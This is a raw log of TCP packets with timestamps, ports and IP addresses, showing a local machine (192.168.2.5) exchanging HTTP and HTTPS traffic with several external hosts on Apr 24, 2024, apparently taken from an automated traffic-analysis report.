Apr 24, 2024 12:07:06.788119078 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.788129091 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.788178921 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.788201094 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.788238049 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.788252115 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.788290024 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.788307905 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.788343906 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.788362026 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.788381100 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.788397074 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.788418055 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.788439035 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.788479090 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.788489103 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.788542032 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.082542896 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.082581997 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.082603931 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.082622051 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.082648039 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.082684040 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.082695007 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.082715034 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.082731962 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.082757950 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.082782030 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.082818031 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.082818985 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.082854986 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.082876921 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.082916021 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.082926035 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.082946062 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.082967043 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.082997084 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.083019018 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.083065033 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.083106041 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.083148003 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.083197117 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.083214998 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.083245993 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.083264112 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.083286047 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.083328962 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.083348989 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.083393097 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.083395958 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.083425045 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.083434105 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.083460093 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.083503962 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.083523035 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.083551884 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.083566904 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.083573103 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.083616972 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.083637953 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.083678961 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.083698988 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.083753109 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.083755970 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.083796978 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.083852053 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.083894014 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.083911896 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.083957911 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.083966017 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.083985090 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.084011078 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.084026098 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.084060907 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.084119081 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.084141970 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.084162951 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.084188938 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.084196091 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.084211111 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.084239960 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.084244013 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.084283113 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.084292889 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.084330082 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.084367990 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.084404945 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.084408998 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.084444046 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.084453106 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.084490061 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.084530115 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.084547997 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.084577084 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.084590912 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.084623098 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.084655046 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.084666967 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.084688902 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.084691048 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.084722042 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.084726095 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.084757090 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.084793091 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.084831953 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.084836960 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.084873915 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.084908962 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.084944963 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.084961891 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.085002899 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.085015059 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.085053921 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.085057020 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.085093021 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.085107088 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.085144997 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.085181952 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.085200071 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.085222006 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.085233927 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.085266113 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.085299015 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.085319996 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.085357904 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.085365057 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.085402012 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.085417986 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.085462093 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.085473061 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.085506916 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.085524082 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.085561037 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.085577965 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.085618019 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.085622072 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.085666895 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.085735083 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.085781097 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.085803032 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.085846901 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.085853100 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.085879087 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.085900068 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.085917950 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.085947990 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.085985899 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.086020947 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.086066961 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.086071968 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.086113930 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.086118937 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.086163044 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.086163998 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.086203098 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.086219072 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.086257935 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.086272001 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.086289883 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.086312056 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.086327076 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.086359024 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.086400986 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.086462975 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.086502075 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.086509943 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.086539984 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.086544037 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.086584091 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.086601973 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.086643934 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.086663961 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.086714983 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.086718082 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.086751938 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.086779118 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.086790085 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.086822987 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.086839914 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.086858988 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.086879969 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.086946011 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.086975098 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.086996078 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.087029934 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.087035894 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.087073088 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.087088108 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.087131023 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.087136030 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.087163925 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.087184906 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.087199926 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.087218046 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.087256908 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.087276936 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.087311029 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.087316990 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.087351084 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.087368011 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.087409019 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.087430000 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.087476969 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.087487936 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.087522984 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.087529898 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.087563038 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.087563992 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.087600946 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.087635994 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.087667942 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.087677002 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.087713003 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.087742090 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.087755919 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.087764025 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.087805986 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.087810040 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.087850094 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.087852955 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.087891102 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.087915897 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.087939024 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.087960005 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.087985039 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.088000059 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:07.385792971 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:07.389278889 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:07.599723101 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:07.599814892 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:07.604088068 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:07.831969023 CEST	49712	443	192.168.2.5	184.85.65.125
Apr 24, 2024 12:07:07.832048893 CEST	443	49712	184.85.65.125	192.168.2.5
Apr 24, 2024 12:07:07.832194090 CEST	49712	443	192.168.2.5	184.85.65.125
Apr 24, 2024 12:07:07.875984907 CEST	49712	443	192.168.2.5	184.85.65.125
Apr 24, 2024 12:07:07.876030922 CEST	443	49712	184.85.65.125	192.168.2.5
Apr 24, 2024 12:07:07.936273098 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:08.205478907 CEST	443	49712	184.85.65.125	192.168.2.5
Apr 24, 2024 12:07:08.205553055 CEST	49712	443	192.168.2.5	184.85.65.125
Apr 24, 2024 12:07:08.205847025 CEST	49712	443	192.168.2.5	184.85.65.125
Apr 24, 2024 12:07:08.353610039 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:08.353638887 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:08.353707075 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:08.353738070 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:08.353738070 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:08.353779078 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:08.353785992 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:08.353878975 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:08.433852911 CEST	49712	443	192.168.2.5	184.85.65.125
Apr 24, 2024 12:07:08.433881044 CEST	443	49712	184.85.65.125	192.168.2.5
Apr 24, 2024 12:07:08.434298038 CEST	443	49712	184.85.65.125	192.168.2.5
Apr 24, 2024 12:07:08.434413910 CEST	49712	443	192.168.2.5	184.85.65.125
Apr 24, 2024 12:07:08.436201096 CEST	49712	443	192.168.2.5	184.85.65.125
Apr 24, 2024 12:07:08.480159044 CEST	443	49712	184.85.65.125	192.168.2.5
Apr 24, 2024 12:07:08.608419895 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:08.608450890 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:08.608469009 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:08.608488083 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:08.608513117 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:08.608527899 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:08.608556032 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:08.608577013 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:08.608629942 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:08.608640909 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:08.608655930 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:08.608665943 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:08.608711004 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:08.793720961 CEST	443	49712	184.85.65.125	192.168.2.5
Apr 24, 2024 12:07:08.793745041 CEST	443	49712	184.85.65.125	192.168.2.5
Apr 24, 2024 12:07:08.793764114 CEST	443	49712	184.85.65.125	192.168.2.5
Apr 24, 2024 12:07:08.793786049 CEST	49712	443	192.168.2.5	184.85.65.125
Apr 24, 2024 12:07:08.793806076 CEST	443	49712	184.85.65.125	192.168.2.5
Apr 24, 2024 12:07:08.793832064 CEST	49712	443	192.168.2.5	184.85.65.125
Apr 24, 2024 12:07:08.793863058 CEST	49712	443	192.168.2.5	184.85.65.125
Apr 24, 2024 12:07:08.820694923 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:08.820755959 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:08.820836067 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:08.820854902 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:08.820874929 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:08.820882082 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:08.820899010 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:08.820907116 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:08.820919037 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:08.820938110 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:08.820957899 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:08.820964098 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:08.820977926 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:08.820988894 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:08.820998907 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:08.821019888 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:08.821028948 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:08.821043015 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:08.821054935 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:08.821068048 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:08.821077108 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:08.821090937 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:08.821098089 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:08.821121931 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:08.825092077 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:08.825109959 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:08.825124979 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:08.825138092 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:08.825153112 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:08.825167894 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:08.825200081 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:08.973604918 CEST	443	49712	184.85.65.125	192.168.2.5
Apr 24, 2024 12:07:08.973635912 CEST	443	49712	184.85.65.125	192.168.2.5
Apr 24, 2024 12:07:08.973685026 CEST	49712	443	192.168.2.5	184.85.65.125
Apr 24, 2024 12:07:08.973722935 CEST	443	49712	184.85.65.125	192.168.2.5
Apr 24, 2024 12:07:08.973741055 CEST	49712	443	192.168.2.5	184.85.65.125
Apr 24, 2024 12:07:08.973768950 CEST	49712	443	192.168.2.5	184.85.65.125
Apr 24, 2024 12:07:08.987009048 CEST	443	49712	184.85.65.125	192.168.2.5
Apr 24, 2024 12:07:08.987071991 CEST	49712	443	192.168.2.5	184.85.65.125
Apr 24, 2024 12:07:08.987087965 CEST	443	49712	184.85.65.125	192.168.2.5
Apr 24, 2024 12:07:08.987113953 CEST	443	49712	184.85.65.125	192.168.2.5
Apr 24, 2024 12:07:08.987135887 CEST	49712	443	192.168.2.5	184.85.65.125
Apr 24, 2024 12:07:08.987159014 CEST	49712	443	192.168.2.5	184.85.65.125
Apr 24, 2024 12:07:08.987330914 CEST	49712	443	192.168.2.5	184.85.65.125
Apr 24, 2024 12:07:08.987330914 CEST	49712	443	192.168.2.5	184.85.65.125
Apr 24, 2024 12:07:08.987349987 CEST	443	49712	184.85.65.125	192.168.2.5
Apr 24, 2024 12:07:08.987397909 CEST	49712	443	192.168.2.5	184.85.65.125
Apr 24, 2024 12:07:09.015254021 CEST	49713	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:09.015295982 CEST	443	49713	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:09.015388012 CEST	49713	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:09.015625000 CEST	49713	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:09.015636921 CEST	443	49713	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:09.030240059 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.030273914 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.030298948 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.030323029 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.030344009 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.030384064 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.030411959 CEST	80	49711	189.163.142.13	192.168.2.5
